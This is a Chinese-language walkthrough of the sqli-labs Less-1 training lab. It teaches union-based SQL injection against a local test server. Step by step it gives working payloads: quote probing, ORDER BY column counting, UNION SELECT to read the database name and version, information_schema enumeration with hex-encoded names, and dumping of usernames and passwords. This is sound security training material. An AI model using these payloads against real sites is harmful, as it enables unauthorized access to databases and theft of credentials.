本关SQL知识点
order by : 排序,asc升序(默认),desc(降序)
union: MySQL执行两条SELECT语句,并把输出组合成单个查询结果集
group_concat: 连接作用,group_concat( 要连接的字段 )separator: 分隔符
select: 查询语句
MySQL中默认建立的数据库:information_schema,该库中包含三个表:
(1) scheata:存储用户所有的数据库名,记录数据库名的字段:schema_name
(2) tables:存储用户创建的所有数据库的库名和表名,库名字段:table_schema,表名字段:table_name
(3) columns:存储用户创建的所有库名,表名,字段名,库名字段:table_schema,表名字段:table_name,字段名:column_name
1.1.测试是否有回显
?id=1
有回显
1.2.测试id=2是否有回显
?id=2
有回显,与id=1返回结果不同
1.3.测试是否有漏洞
?id=1'
# 如果返回数字则是字符型注入
# 如果没有返回数字则时数字型注入
出现错误,判断存在注入漏洞,这里很明显是字符型
1.4 测试是否可以使用联合查询
?id=1' and 1=1 --+
?id=1' and 1=2 --+
1=1.有回显,1=2没有回显,证明可以使用union
MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中
1.5 判断有几列字段:
http://10.9.47.44/sqli-labs/Less-1/?id=1' order by 10 --+
Unknown column ‘10’ in ‘order clause’ 表示第10行不存在,继续测试
http://10.9.47.44/sqli-labs/Less-1/?id=1' order by 3 --+
正常显示,说明字段有3列
1.6开始判断那些数据可以回显
union使用:如果union前面判断为真,则执行前面,如果前面为假则执行后面,1=2为假
http://10.9.47.44/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 --+
1.7查看当前数据库
http://10.9.47.44/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,database() --+
1.8查看当前数据库版本
http://10.9.47.44/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,version() --+
1.9 我们也可以尝试其他命令
查询有那些数据表
union select 1,2,group_concat(table_name)from information_schema.columns where table_schema=‘security’–+
为避免’security’中单引号出现注入错误,建议将security转换成十六进制
即为:
union select 1,2,group_concat(table_name)from information_schema.columns where table_schema=0x7365637572697479 --+查询users表中的所有字段
union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7573657273 --+
查询username:
union select 1,2,group_concat(username)from security.users --+
查询password:
union select 1,2,group_concat(password)from security.users --+
username和password可以一起查询:
union select 1,2,group_concat(username,password)from security.users --+